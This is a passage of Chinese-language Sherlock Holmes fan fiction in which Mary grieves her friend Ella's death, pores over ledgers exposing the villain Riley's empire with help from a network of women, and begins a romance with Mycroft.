玛丽被一双有力的手扶了起来:“艾拉,艾拉人呢!我的朋友,艾拉!” 那女人沉默了一会:“我们将那位小姐暂时寄存在教堂里了。” 玛丽忽然愤怒的喊道:“不是寄存,她是个人,不是物品,她是人!” 这一声愤怒的哭喊后玛丽痛哭出来:“她是我的朋友,是一个人,一个人啊。” 农妇宽阔的胸膛将玛丽抱在怀里,她因为农活而粗糙的双手轻柔的拍打着玛丽的后背,玛丽在哭了好一会之后再次晕了过去。 第二次醒来的时候发现床边坐着一个农妇,她手里正在编织麻绳,听见玛丽的动静后递过来一杯牛奶:“喝一点牛奶吧小姐。” 玛丽如饥似渴,她从未如此快速的喝完一杯牛奶,等到牛奶喝完,她躺在床上缓了好一会:“这里是哪里?” 那妇女手里并没有停下:“这里是钦福德。” 玛丽扶着床想要坐起来,那妇女立刻放下了手里的纺锤上前帮忙:“小姐,你还好么?” 我不好,玛丽想要这么回答,可是她沉默了片刻,只是再次问出了那句话:“艾拉怎么样了?” 那妇女只是拍了拍玛丽的肩膀,没有回答。 玛丽不敢再追问,房间里静默了下来。 那妇女看着玛丽沉默不语于是主动开口:“小姐,你的家在哪里,我们要怎么联系你的家人?” 玛丽沉默了片刻才再次开口:“伦敦贝克街221B,请联系夏洛克福尔摩斯先生。” 那妇女点点头:“你可以叫我茉莉,我的丈夫这会不在家,等他回来*后我请他立刻去伦敦送信,厨房里留了一些三明治,我给您端来吧福尔摩斯小姐。” 玛丽没有纠正她的话,只是继续沉默。 茉莉太太叹了口气,她不知道女孩经历了什么,天知道她的丈夫发现她们的时候吓坏了,两个女孩,晕倒在森林的边缘,如果不是他今天要去森林里砍点木头留作过冬的燃料,说不定两个女孩就会这么死在哪里。 实际上应该是一个女孩,他们发现的时候另一个女孩已经死了有一段时间了,教堂的牧师找来了医生,发现被绑着的另一个女孩已经有了尸僵,估计上半夜就已经死了。 为了把活着的女孩拽出来,他们几乎是废了很大的力气才掰开了那具尸体的手臂。 两个人身上都受了很多伤,已经死掉的女孩胳膊上还有枪伤! 他们差点报警,但是牧师劝他们等一等,还是等另一个女孩清醒了,问问她的家里人,毕竟两个女孩的情况,说不定是遇到一些不名誉的事了,他们不愿意让两个苦命的女孩名誉受损。 茉莉的先生刚才就是去教堂找牧师了,等到回来以后立刻骑上家里的马前往伦敦市区,这里距离伦敦市区并不远,只有10英里,因为心里着急,这位先生几乎称得上快马加鞭,在两个小时之后就来到了这位福尔摩斯小姐说的地方。 看着这样漂亮的公寓,农夫先生有些紧张,上前敲了敲门。 开门的是一位老太太,这位老太太眼眶通红,还带着一丝哽咽:“先生您找谁?” 农夫搓了搓手:“您好,我找一位夏洛克福尔摩斯先生。” 郝德森太太摇了摇头:“他现在不在,您是有什么事么?可以留个口信,等他回来了我会告诉他的。” 农夫一听更紧张了:“啊,是这样的,啊,怎么说呢,您是福尔摩斯先生的母亲么?还是什么?这件事或许我该直接和他说。” 郝德森太太摇摇头:“我是公寓房东,是怎么了先生?如果您是来寻求帮助的委托人,那您可以稍等。” 农夫也跟着摇头:“不,不是,我,诶,我是受人之托,该怎么和您说呢,我不该告诉福尔摩斯先生之外的人的,这事关一位小姐的名誉。” 郝德森太太到抽一口冷气:“什么小姐,你在说什么小姐!快进来,好先生你快进来!” 几乎是将农夫拽进了房子里,郝德森太太大声喊道:“安娜!安娜!!你快来啊!” 安娜被安排留守贝克街,闻声立刻从三楼跑了下来:“我来了,太太,我来了!是玛丽小姐有消息了么!” 农夫一听询问道:“玛丽福尔摩斯小姐么?” 安娜一听就知道农夫大约是误会了,因为玛丽让他来找夏洛克先生,所以就以为玛丽也姓福尔摩斯:“您有她的消息么?她在哪里,还好么!” 农夫被一连串的追问攻击,以至于不知道先回答哪个问题,醒了醒神才开口:“她受了伤,目前在我家里休息,我太太在照顾她,非常抱歉,和她在一起的姑娘……抱歉,我们发现的时候她已经死了。” 安娜立刻上前抓住农夫的胳膊:“你确定,你确定是那位金头发,绿色眼睛,穿着蓝色外裙的姑娘?她还披着一件草绿色的斗篷,是她么?她没事?!” 农夫被吓了一跳:“抱歉,她没穿着外裙,她们都受了伤,你说的裙子被搓成了绳子,把两个人绑在一起,金头发,两个姑娘都是金头发,没看到什么斗篷。” 郝德森太太的心七上八下的,双手合十的和上帝祈祷:“求求您,仁慈的主,求求您,可千万别是玛丽,求求你了!” 安娜紧张的额头都是冷汗:“您的家在哪里,叫什么!” 农夫:“我叫哈克,托尼哈克,住在钦福德。” 转身出了公寓的门,玛丽就看到了留守在贝克街的一名邮差,赶忙招手喊来了他:“立刻给蓓尔美尔街送个口信,有玛丽小姐她们的消息了,马上派人去钦福德的托尼哈克家里!” 邮差也知道这个消息的重要,转身就骑上快马前往蓓尔美尔街。 玛丽是在醒来之后的五个小时看到麦考福特的。 他的头发乱糟糟的,不复往日的整洁,衣服上都是尘土,他几乎是蛮横的闯进了房间,看到躺在床上的是玛丽,活下来的是玛丽,麦考福特的心里只有庆幸。 天知道他听说有一个金头发的女孩死了他有多么的恐惧,他的腿甚至差点站不起来,这一路上他几乎是发了狠的在抽打那匹马,心里一遍又一遍的恳求上帝,他此前从未相信过世界上有上帝,但是此刻,麦考福特真切的恳求,如果有上帝,请原谅他往日的不敬,请宽恕他的罪,不要将他的玛丽带走。 感谢仁慈的主,上帝原谅了他,上帝没有夺走他的月亮。 玛丽在看到麦考福特之后先是茫然,然后是心里涌出一股酸涩。 麦考福特三步跨坐两步跑到床边,一双已经僵硬的臂膀用力的抱住了玛丽,他什么都说不出来,只感觉自己的心脏重新回到了这具身躯里。 玛丽靠在麦考福特的怀抱里,鼻尖是他的气味,和往日总是清淡的香水味不同,此刻他的身上是血腥,尘土,和汗水的气味,这样的气味十分真实。 真的是麦考福特先生。 玛丽痛哭出声:“艾拉死了,艾拉死了!我没有保护好她,都是我的错!!” 麦考福特不知道如何安慰他的女孩,他只是用力,再用力,将玛丽紧紧地拥抱在怀里。 玛丽的心里太痛苦了,麦考福特有力的双臂几乎箍的她有点痛,但是这种痛十分的真实,她的灵魂不再飘飘荡荡。 麦考福特的怀抱很温暖,他的气味全方位的笼罩住了玛丽,玛丽将整张脸都埋在麦考福特的肩膀上,双臂拥抱着他的脖颈,甚至两条腿都环过他的腰间,像是孩子和母亲诉苦,重回到母亲的怀抱一般。 听着玛丽的哭声,麦考福特心疼不已,他低着头,一次又一次的在玛丽的发顶落下轻柔的吻,双手顺着脊背安抚她的情绪,肩膀上越来越湿润的触感,让麦考福特愤怒又心疼,他原本想着循序渐进,但是玛受到如此伤害,他无法再忍耐下去,他要用雷利的血液,来偿还玛丽留下的泪水! 随着麦考福特一次又一次轻柔的安抚,恐惧逐渐远离,麦考福特的到来让玛丽觉得她安全了。 在这份安全感里,玛丽哭的声嘶力竭,最后疲惫的在麦考福特的怀里昏睡过去。 62 第62章 麦考福特留下了一些钱,当做感谢,请牧师安排了人将艾米丽的尸体送回了伦敦,暂时存放在巴茨医院。 玛丽足足昏睡了两天,麦考福特送回玛丽之后,当天下午玛丽就开始发烧。 昏睡中的玛丽时不时就会小声的说着:“艾拉,艾拉,别害怕,艾拉,我会带你回家的。” 等到她终于退了烧,清醒过来,安娜和郝德森太太都喜极而泣。 医生仔细检查过后确定她没什么问题了,可是玛丽除了询问了一句艾米丽的情况,得知她被暂时放在巴茨医院之后就没再说话。 等到了彻底恢复健康,玛丽第一件事就是带上安娜和几个保护人员一起前往了希腊街。 一大早来到希腊街,街上行人并不多,玛丽站在门口沉默了好一会才抬手敲门。 里面很快传来了急匆匆的脚步声。 那位更强硬的玛格丽特夫人跑过来开了门,看到玛丽之后立刻皱起了眉头,左右看了看,没有看到艾米丽之后玛格丽特夫人脸色苍白。 玛丽低着头,咬着嘴唇,两人谁都没先开口。 最后还是玛格丽特夫人打破了沉默:“先进来吧。” 她让开了半个身子,玛丽带着一群人走进了这栋屋子。 希腊街的房子还和之前一样。 只是房间里都很安静,玛丽来的太早了,好些人甚至还没起床。 餐厅里的人并不多,只有两个。 那两个女孩看到玛丽之后都愣了,也和玛格丽特夫人一样,向玛丽的身后看去。 没有,没有她们熟悉的身影。 玛格丽特夫人随便找了个位置坐下来。 玛丽站在一边,没有坐下,只是傻呆呆的站着,像是一个做错事,等待惩罚降临的孩子。 两个女孩对视一眼,走出了房间。 安娜在关上餐厅的门后拉着玛丽坐了下来。 仿佛凳子咬人一样,玛丽立刻站了起来,两只手抓着裙摆不知所措。 玛格丽特夫人皱着眉头:“坐下吧。” 玛丽如蒙神恩,坐在了玛格丽特的旁边。 玛格丽特看着安娜:“她有留下什么话么?” 玛丽深呼吸了一口气,可是开口时嗓音还是带着哽咽:“她说……她说去找玛格丽特夫人,任何一个玛格丽特都可以,说她把东西交给弗洛伦斯了,你们知道该怎么做。” 玛格丽特夫人没什么动作,只是看着餐厅的角落,似乎在发呆。 房间里只剩下壁炉里木柴被燃烧的声音,偶尔爆出一两声噼啪声,除此之外一直很静谧。 安静了一会,开始有低低的抽泣,玛丽努力吸着鼻子,玛格丽特却只是静静地流泪。 玛格丽特:“我和修女们接生了她。” 玛丽知道她是在说艾拉,当年那个小小的孩子。 玛格丽特:“我当时也才十来岁,她那么小,那么软。” 这一瞬间玛格丽特夫人似乎苍老了很多,她看上去也才三十来岁,正是壮年的时候,可是这一刻,她的脊背弯了下来。 玛丽抬手用袖子擦掉了眼泪:“夫人,但凡有我能做的,请您务必告诉我……此外,我请人联系了墓地……” 玛格丽特打断道:“葬在圣约翰墓地吧,她的妈妈也在哪里,我们的很多姐妹都在那里……” 玛丽张了张嘴,最后点点头。 葬礼是在一天之后进行的,玛丽用自己几乎所有的钱买了一副好棺材,还请了牧师。 只有希腊街的女支院来了人,玛丽不知道贫民窟的女支院里,包括伦敦另外几家的女支院里,许多姑娘们都带上了黑色的花朵。 她们在顾客的调笑里,穿上绣着黑色花朵的裙子,或者带上一朵黑色蕾丝花朵绑带。 葬礼的现场十分安静,牧师念着老掉牙的悼词,官方的,公式的。 玛丽只是安静的听着,几个姑娘低低的抽泣着,她们互相扶持着离开了墓地。 看着她们的背影,玛丽下意识的觉得艾米丽也在里面。 她想要伸手拦住她们,别去,别往前走…… 玛格丽特夫人叫住了她。 玛丽站在教堂门口,玛格丽特夫人拿出了一个斗篷。 浅粉色的斗篷十分亮眼,洗的干干净净,没有任何女支院里廉价脂粉的气味,只是淡淡的,很清爽的洗衣皂的气味。 玛格丽特夫人将斗篷递了过来:“她专门请了人清洗的,她说你是个傻子一样的姑娘,竟然愿意为了一个女支女和警察吵架,还善良蠢笨的过了头,将这样好布料的斗篷送给她,还把她当做朋友。” 玛丽抓着那斗篷,眼睛里很干涩,她哭了好几天,已经流不出泪了,只是痛,眼眶刺痛。 斗篷的每一寸都干干净净的。 玛格丽特想起当时艾米丽抱着这个斗篷时候别扭的样子,嘴里嫌弃的很,但是手上却很小心,特意交代洗衣妇一定要小心,千万别搓坏了,拿回来之后将这个斗篷看了又看。 除了救济院的姐妹们,玛丽是第一个和艾米丽说是朋友的女孩。 玛丽抱着斗篷给玛格丽特夫人鞠了一躬:“谢谢您。” 玛格丽特夫人拍了拍玛丽的肩膀。 墓地的角落里多了个墓碑。 艾拉道格拉斯。 她跟着母亲的姓氏,埋葬在她母亲的身边。 艾米丽死了,艾拉也死了,现在,那个孩子重新回到了母亲的怀抱。 回到贝克街之后玛丽坐在窗边,看着窗外静静地发呆。 安娜很担心她,却不知道该怎么劝她。 一直到了晚上,玛丽才再度开口:“麦考福特先生说的账单送来了么?” 安娜连忙接话:“还没有,我马上给先生送口信。” 玛丽点点头,继续坐在窗边发呆。 麦考福特的人很快就送了过来,甚至没有超过两个小时。 玛丽将几个箱子拿到桌边,沉默的打开箱子,一个又一个工厂的绝密账单就这么摆在她的面前。 这群老爷们真是赚的盆满钵满。 玛丽将自己的全身心都投入到这些数字中来。 安娜看着玛丽闷不啃声的在一堆纸张里折腾,这样有点事情做,总好过在窗口发呆的样子。 到了晚上,不需要安娜提醒,玛丽就放下了这些回去睡觉。 关上灯之后安娜退出了房间,可是玛丽睡不着,她不敢闭上眼睛,就这么直愣愣的看着天花板。 睁眼到了天亮,玛丽估算着时间,听见动静后走出了房门,稍微洗漱,也没穿外套,简单的居家衬裙,就坐在书桌前继续忙碌。 在安娜看来,玛丽到点吃饭,到点睡觉。 似乎已经走出了伤痛。 一天,两天,三天。 玛丽的身体很疲惫,可是她睡不着。 闭上眼睛就回到了那天夜里。 艾米丽的歌一次又一次的在耳边回荡。 玛丽一个人躺在床上,小声的唱着:Pat-a-cake,pat-a-cake,bakersman!Bakemeacakejustasfastasyoucan.Patit,andprickit,andmarkitwithT,PutitintheovenforTommyandme。 她一次又一次的唱着,像是在给艾米丽的灵魂伴奏,明明她们只见过几面,可是这份刺骨的痛深入骨髓。 玛丽侧身,另一半的床上躺着艾米丽,她还是那么的娇艳活泼,还是那么的高昂。 ———————————————— 一滴鼻血落在桌上,玛丽感到头晕目眩,然后是第二滴,第三滴。 等玛丽反应过来的时候,安娜已经拿起手帕堵住了她的鼻子,玛丽傻呆呆的坐在椅子上。 眼眶下的青黑是骗不了人的。 麦考福特在下午来到了贝克街。 玛丽躺在床上,睁着眼睛看着天花板。 麦考福特走进了屋子,他坐在床边的凳子上。 玛丽忽然开口:“我睡不着,我一整夜一整夜的睡不着,她就像是……躺在我的旁边,躺在我的胃里。” 胃里坠着一块石头,玛丽觉得浑身疲惫。 麦考福特开口:“伦敦的工厂已经收回来了,雷利的人手死了大半。” 玛丽像是某个刚刚上过润滑油的机械,一顿一顿的转过头看着麦考福特。 麦考福特脸色也有些白,他这些日子很是忙碌:“接下来是曼彻斯特的工厂,他背地里还有好些人手,在剑桥,伯明翰,利兹,目前掌握的来看,他织开了一张巨大的网。” 玛丽沉默了一会,忽然开口道:“你能抱抱我么?” 麦考福特愣了一瞬,然后起身从凳子上挪到床边,玛丽坐了起来,双手环过麦考福特的脖颈,将整张脸都躲进他的胸膛里。 玛丽:“我不该这样的,对吗?” 麦考福特没有说话,只是将玛丽紧紧地抱住。 玛丽可以闻见麦考福特身上带着暖意的气味,说不上来,似乎不像是香水,也不像是什么烟草的气味,似乎只是他本身的气味。 麦考福特可以感觉玛丽越来越缓慢沉重的呼吸。 等了好一会,感觉脖颈上的双手慢慢的松开,麦考福特低头看着怀里的女孩。 玛丽睡着了。 在麦考福特的怀里,玛丽感觉到那种被温柔包裹的力量,他是一种强大的支持,沉默无声,却坚韧可靠。 玛丽像是在吸食什么药物一样,让麦考福特的气味充盈自己的肺部,伴随每一次呼吸,那种安全感一点点的填充着自己。 疲惫的灵魂终于找寻到了一处安全的港湾。 冲破了风暴的船只,在此处停靠修整,等待下一次日出来临后的出发。 63 第63章 玛丽第二天一大早才醒了过来,睁开眼的时候还带着一丝迷茫,她的手里还抱着麦考福特先生的外套。 来到客厅的时候麦考福特先生竟然就坐在那里,玛丽眨眨眼,以为自己看到了幻觉。 麦考福特很担心她,在昨晚玛丽熟睡之后只是让安娜通知蓓尔美尔街的管家送来一套换洗衣服,在二楼简单洗漱之后理直气壮的让夏洛克去睡了客厅沙发,自己占据了夏洛克的床。 他这几天也没休息好,雷利隐藏的势力远比自己要查出来的更多。 这要感谢此前未曾“见过”的布朗夫人,她不再是聚会里无足轻重的交际花,而是一个盟友 是的,那位布朗夫人在玛丽回来的第二天晚上敲响了蓓尔美尔街的大门。 她是一位艳丽又多情的妇人,看上去四十来岁,笑起来自带一股风流,一头艳丽的红发,皮肤白皙娇嫩,如果不是她报出自己的名字,看上去倒像是某家的贵妇。 约瑟芬布朗,她的名字。 麦考福特在会客厅接待了这位夫人。 布朗夫人一双含羞带怯的眼睛笑成月牙:“福尔摩斯先生您好,多有打扰。” 麦考福特端坐在对面,并不搭话。 管家送来了茶点,两人面对面的坐着,布朗夫人用细白柔嫩的手指拈起一块小饼干,樱桃小口微微张开尝了一口:“您府上的厨师手艺真不错。” 麦考福特靠在沙发上喝着自己的咖啡。 眼看着麦考福特没有聊天的欲望,布朗夫人轻快的瞥了眼神:“福尔摩斯先生,这样冷待一位女士,可不是绅士行为。” 这次麦考福特终于给了一个眼神,他这两天心情可不好,没什么兴趣对着这个女人虚以委蛇。 布朗夫人慢条斯理的吃掉了一块饼干喝完了半杯茶水:“您目前掌握的,恐怕并不足以撼动雷利。” 现在麦考福特有点兴趣聊一聊了:“您怎么知道我掌握了多少东西?” 布朗夫人微微一笑,放下茶杯后将手里的扇子展开,遮住了自己的半张脸:“亲爱的小麦克,你知道你最大的问题是什么嘛?” 麦考福特皱起眉头:“夫人,恐怕我们并没有熟悉到这种程度。” 布朗夫人:“真是无趣的男人,真不知道玛丽小姐怎么会看上你。” 麦考福特脸色冷硬:“布朗夫人,慎言” 布朗夫人终于放下扇子:“别紧张孩子,我很喜欢这个小女孩,我们拥有共同的敌人,难道这还不能称为朋友关系么?” 麦考福特双手搭在膝盖上,紧绷的肩膀并没有放松。 布朗夫人:“孩子,你太高傲了,也太聪明了,这是你最大的问题。” 麦考福特抿着唇看着这位夫人:“真是有趣的意见,夫人。” 布朗夫人像是逗弄一只应激的猫咪,或许她在某种程度上并不如麦考福特聪明,但是上帝保佑,她是一个女人:“孩子,弱小和无知不是生存的障碍,傲慢才是①。你忽视了太多东西了。” 麦考福特:“真是振聋发聩,发人深省的名言警句,或许您该在泰晤士报发表这样的讲话。” 布朗夫人眼看着麦考福特因为自己的言语而逐渐紧绷的身体笑得开心极了,她一直知道麦考福特的存在,可是麦考福特却从未“看见”过她,真是有趣的体验不是么? 把玩着手里的扇子,布朗夫人只留下了一个地址:“亲自去看一看,你会觉得有意思的,你可以在看完之后决定,是不是要与我合作。” 说完之后布朗夫人起身准备离开,麦考福特看着她走了两步,又回过头来从桌上再次拿起一片饼干:“说实在的,味道可真不错,玛丽小姐会喜欢的。” 麦考福特当天晚上就前往了布朗夫人提供的地址,那是一家平平无奇的面粉店,开店的是一个中年女人,那女人看了眼麦考福特和他带来的人,甚至什么都没说,只是递过来一把钥匙就离开了。 这家面粉店哪怕走进去看也没什么奇怪,简单的店铺,楼上楼下都看上去很是普通,如果不是麦考福特亲自前来,恐怕并不会发现隐藏在一楼卧室床下的入口。 随行人员先行进入,确认没有任何安全隐患之后麦考福特才走了进去。 下面的空间大极了,麦考福特怀疑他们几乎挖空了三家店铺的地基! 看来左右两家店铺都是她们的。 一排又一排的架子上是许多册子。 这个巨大的地窖中央摆放了一张桌子,上面归置的非常整齐,只留下一张纸条和一个目录本。 【合作愉快】 麦考福特按照目录本,检查了那些架子。 足足二十四个架子。每个架子上都有五层,每层的长度都是一米。 二十四个架子上,是雷利在二十四个城市的所有业务。 从纺织,煤矿,机械制造,军火,钢铁…… 几乎各行各业都有他的阴影。 他就像是一个潜藏在阴影里的金融怪兽。 杀了他很简单,但是当他死了以后,英国恐怕会经历一番巨大的动荡…… 麦考福特现在知道为什么雷利哪怕做出了叛国这样的行为,女王陛下也会放过他,钱并不是他逃过制裁的原因。 那笔金钱是威胁,他在用自己的金钱威胁女王,一旦女王下令处死他,他会给这个国家带来如何庞大的影响。 麦考福特随意的拿起一本册子,架子上的所有册子几乎都是一些细碎的片段化的东西,笔迹完全不同。 在此刻,麦考福特不得不承认一件事,他或许确实低估了这群女人的力量,当他高高在上,自以为掌握一切的时候,他忽略了那些隐藏在暗处的蝼蚁。 蚂蚁虽小,可以吞象。 ———————— 听完麦考福特的讲述,玛丽坐在早餐桌前愣了一会:“艾拉也和我说过,女人,是天然的同盟,我也是他们同盟的一员了。” 玛丽仿佛看见,在无尽的虚空里,一双有一双的手伸了出来,她们握住了玛丽的双手,扶着玛丽的肩膀,推着她的后背。 站起来,往前走。 麦考福特喝了一口咖啡,昨晚并没有睡好,心里装着事情,而且夏洛克还在半夜偷偷摸摸的进了卧室拿走了他的被子,他凌晨被冻醒之后发现夏洛克在客厅一个人裹着两层被子,实在是无奈。 玛丽:“你给我的那些账单数量太多,恐怕我需要一些助手。” 麦考福特:“我那边的人也在处理,我给你的是苏格兰地区几个城市的,他们在处理一些别的地方,此事事关重大,并不方便让更多人知道,如果不是她们,恐怕我的人也查不出来雷利的全部势力。” 看来麦考福特的人手也不太够了。 玛丽还在沉思,安娜送来了早餐。 两人坐在一起吃着早餐,楼下忽然想起一阵狂躁的尖锐嘶鸣。 玛丽下意识的捂住耳朵,麦考福特原本切着鸡蛋的餐刀也停顿了一瞬间:“哦,看来夏洛克已经醒了。” 很快楼下传来华生的怒吼:“夏洛克!上帝啊,才7:30!!!” 夏洛克愤怒的用上好的小提琴发出锯木头一般的声音,麦考福特就是个幼稚鬼!上帝啊,他把自己所有的烟草都没收了,家里现在一根烟草丝都没了!!一根都没了! 玛丽实在头疼,放下餐刀来到楼下,麦考福特闷不吭声的跟在身后。 夏洛克正和华生搏斗,说是搏斗,不如说是小孩子在打打闹闹。 华生一只手臂勾着夏洛克的脖子,另一只手臂试图抢走他夹在腋窝下面的小提琴:“夏洛克,如果你不能好好拉琴,那就不要制造噪音!” 夏洛克扭着华生的胳膊,保护自己的小提琴:“不可能!我今天拉不出任何噪音之外的东西!上帝,他把我所有的烟丝都没收了!!所有的!我现在,需要!烟丝!” 华生:“你为什么不抽我的!!” 夏洛克:“我找了,你的也没了!” 华生放开了手:“什么?!” 麦考福特站在门口:“看来夏洛克已经仔细检查过华生先生的抽屉了。” 华生平日里习惯把烟草丝放在客厅书桌抽屉里,夏洛克早就看过了,他们俩默认,只要放在客厅的东西,就是共用的。 看到麦考福特之后,夏洛克愤怒的将小提琴收进琴盒:“快把我的烟丝还给我!” 玛丽捂着额头:“夏洛克,如果下次你再发出这样的噪音,我会给你一拳的!” 兄弟俩人几乎算得上是幼稚鬼一般吵架的行为让玛丽都觉得无奈,她为了自己的耳朵和接下来几天的安宁着想,不得不一边安抚夏洛克,一边拉着麦考福特将没收的烟草拿回来。 玛丽揉了揉还带着刺痛的耳朵:“这些账本我会尽快处理完成,前提是夏洛克不要再发出这样的噪音。” 麦考福特撇了撇自己的幼弟,他此刻正兴奋的点燃烟斗,消耗自己的生命。 玛丽下意识的抱着麦考福特的胳膊上楼。 等到了重新坐下来之后玛丽忽然感觉到头顶有一只手,麦考福特就站在玛丽的旁边,轻轻的抚摸着玛丽的发顶:“玛丽,只要你需要,我会永远在你身后的。” 刚才麦考福特能感觉到玛丽抱着自己胳膊的力气,她几乎是称得上是紧紧地拽着,她在下意识的恐惧,恐惧失去。 哪怕夏洛克如此幼稚无聊的要求,她都希望能满足,玛丽的心里蒙上了一层阴影。 玛丽沉默的靠在麦考福特的怀里。 麦考福特蹲在玛丽的面前,两人四目相对,玛丽的眼睛里带着一丝迷茫,麦考福特镇定的眼神看着她:“这不是你的错。” 玛丽呆愣愣的回复到:“可是……如果不是我……” 麦考福特:“玛丽,与你无关,你是其中的参与者,但绝不是害死她的凶手,凶手另有其人,不要为凶手的恶行承担无关的责任。” 对麦考福特而言,艾拉的死或许可怜,但绝不会成为他的心理负担,难道艾拉不知道自己可能会死么?当她决定成为雷利的敌人时就该想到。 为了达成这一目标,恐怕这条路上会有数不尽的艾米丽成为殉道者,与其愧疚于她们的死亡,不如坚定的走下去,别让她们死的毫无价值。 玛丽低着头,她的视线落在麦考福特的脸上。 往日里那些开心的,不开心的笑容都没了,烟灰色的瞳孔平静的看着她。 这份平静的安全感让玛丽依恋,这几天的愧疚快要将她淹没了。 玛丽伸手抱住麦考福特的脖颈:“我该振作起来,对吗,如果我一直沉浸在过去,只会让雷利活的更久,残害更多的人。” 麦考福特:“是的,玛丽,振作起来。” 玛丽深吸一口气松开了环抱着麦考福特脖颈的双臂,两人看着彼此。 “麦考福特先生,我的姐姐曾经给我读过一句诗,现在我似乎能理解她所说的,爱是指引迷舟的一颗恒星,谢谢你。” 她的船只经历风暴,可是抬头望去,亘古不变的恒星就在那里,指引她回到安全的港湾。 玛丽低头,轻轻的在麦考福特的唇角落下一个吻。 麦考福特感觉到一种温柔的力量,玛丽曾飘荡在墓地之上的灵魂重新归于她的躯体。 几乎是无法克制的,麦考福特抬手抚摸在玛丽的脸侧,两人对视着,玛丽的眼睛里又有了光芒。 下一秒,麦考福特的唇落在玛丽的唇上,带着一丝干涩,一点苦味。 玛丽想着,是咖啡的味道。 那种酸涩又有着坚果香味的苦涩充斥着她的唇舌,然后是一点甜味。 麦考福特的吻就像是他一般,充满着不容拒绝的态度。 扫荡着这片未曾来过的沃土,每一寸土地有着何种滋味,麦考福特都要细细的品尝,体会。 空气仿佛都被吸干了,玛丽感觉自己快要窒息的时候,麦考福特先生才终于放开了她。 玛丽靠着麦考福特的胸膛喘着气,说了一句:“原来咖啡,是甜的。” 麦考福特将玛丽的手放在自己的胸口,心跳躁动,那是一种无法克制的愉悦。 玛丽将自己的另一只手抚摸在自己的胸口,两人的心跳都在疯狂跳动。 是因为窒息带来的么? 玛丽想着,不,似乎不是,她现在重新获得了空气,可是她的心跳还是很快。 一种奇怪的,愉悦的,充盈的感觉,从心跳蔓延到了自己的头脑里。 麦考福特低头:“想要再品尝一次咖啡的味道么?” 玛丽看着麦考福特先生带着水泽的双唇:“要的。” 【作者有话说】 ①出自三体。 好的,人在难过的时候,就该搞点甜的吃吃。[让我康康] 64 第64章 安娜打开门,安娜关上了门 她不能失去这份工作!!! 玛丽还在愣神,麦考福特率先松开了她,第二次的吻要比第一次更加温柔体贴,嘴唇被轻轻噬咬着,原本干涩的唇瓣此时水泽丰满,泛着甜蜜的红色,玛丽靠在麦考福特的胸口喘着气,她快要呼吸不上来了。 哪怕是如此温柔的吻,她也觉得胸口的氧气快被吸干了一样,麦考福特先生像是要吃掉她。 麦考福特双手扶着她腰,等到玛丽的大脑终于清醒过来,她才发现自己坐在了麦考福特先生的腿上,整个人靠在他的胸膛,麦考福特先生的左手环抱着她的腰,另一只手在她的后背一下下的轻轻抚摸。 玛丽抬起头看着麦考福特:“很快乐。” 这是一句非常不错的评价。 麦考福特再次轻笑出声,那笑声滚落在耳朵里,像是一颗颗的小圆球,调皮的碾压着她的耳道,痒的发麻。 玛丽的双手抓着麦考福特的衬衣,*下意识的抬头咬了他的下唇:“不许这么笑!” 麦考福特像是品尝到什么世间最甜蜜的糖果一般,轻啄回去:“可真是个坏脾气小姐。” 玛丽整个人在麦考福特的怀里躲来躲去,然后下一秒忽然被麦考福特掐住腰侧,疼的她哼了一声。 麦考福特站起身,将她放在地上。 玛丽揉了揉自己的腰:“疼。” 麦考福特的声音有些嘶哑,拿过一边的外套搭在手肘上:“抱歉玛丽小姐。” 伸手在刚在没控制好力气掐住的腰侧揉了两下,玛丽笑着又扑进麦考福特的怀里,躲开他的手:“痒痒的。” 麦考福特只觉得背后冒汗,轻不得重不得。 玛丽的身上有一种甜蜜的气味,麦考福特觉得自己快被浸入味了,向后退了一步:“我还有些事要去处理。” 看着麦考福特脚步匆匆的离开,玛丽有些奇怪,但是很快就理解了他,啊,一定是因为工作的缘故。 麦考福特的喘息从未有过如此急切的时刻,安娜就站在二楼的位置,假装自己是一尊雕塑。 看着麦考福特先生从自己面前脚步匆匆的离开,甚至都没发现自己的存在。 等到了楼下,走出大门,麦考福特仍然能感觉那种甜蜜的气息包围着自己,托马斯将马车行驶过来,麦考福特几乎是立刻上了车。 托马斯下意识的准备前往白厅,却听见车厢里传来的声音:“先回蓓尔美尔。” 拉起缰绳,将马车调转车头,两人一路回到了蓓尔美尔街。 麦考福特努力让呼吸平静下来,可是那触感似乎并未消失,大腿上似乎还能感受到那柔软的温热。 指尖,唇瓣,每一处都有着玛丽的气味。 麦考福特低头看了自己一眼,再次仰头看着马车的厢顶,真是狼狈。 回到家里麦考福特立刻走进房间,让管家送上一套换洗衣服之后,麦考福特就钻进了盥洗室里。 —————— 玛丽吃过早餐,重新回到了书桌前。 和前几天不同,玛丽不再浑浑噩噩,而是充满斗志,她要尽快处理这些,她越快,能做的越多,就越能保护那些未曾受到伤害的人。 安娜重新回到三楼之后发现玛丽看上去心情平静了许多,轻手轻脚的收拾了剩余的餐盘。 手里的东西混乱而又庞大,看得出来收集这些东西的人文化程度并不高,很多细节和线索都是碎片化的。 这给玛丽带来了极大的挑战。 写一段,找一段,再加上一些其他的佐证,算是半推理,半验算,玛丽一直忙碌到晚上,整理了两本。 这已经算是很快的进度了,基于信任,麦考福特给她的工厂册子在普通人眼里,是非常杂乱的,但是在玛丽这里,她总能通过细微线索,将一些毫不相关的工厂联合往来。 安娜送来晚餐的时候玛丽停下了手里的工作,走到窗外发了会呆,安娜现在最害怕的就是看见玛丽发呆,连忙走到她的旁边:“怎么了?” 玛丽摸了摸自己的心口:“我说不上来,但是我有点点想念麦考福特先生了。” 安娜几乎是偷偷松了口气:“先生可能还在忙。” 玛丽也知道麦考福特一定也在忙碌许多事情,她只是有一点点想念他,一点点。 两人吃过晚餐,听见敲门声,安娜去开了门,发现门口是托马斯,正奇怪,托马斯送来了一封蜜蜡封过的信件,然后比了个写字的手势。 安娜立刻明白过来:“玛丽小姐,有先生送来的信,您要回信么?托马斯在门口等着。” 玛丽正想着吃完晚餐后可以再看一会账册,听见安娜的话立刻走了过来,接过信件。 安娜识趣的走到一边,玛丽来到桌边拆开信件。 开头依然是DearMissMary。 麦考福特诚意满满的解释了自己今天早上急匆匆的离开是因为有要务在身,希望她能原谅自己,并且情真意切的表示,今天自己在工作时是如何的想念她,每完成一项工作都会想着,此刻的玛丽小姐在做什么呢,真希望在牵牵她的手,听一听她活泼的声音。 一想到玛丽,他就浑身充满干劲,对玛丽手里的那些账册,他表示了充分的信任,如果是他手下那群人,说不定要费很大的力气才能弄明白,但是玛丽一定可以完成,他相信玛丽的能力。 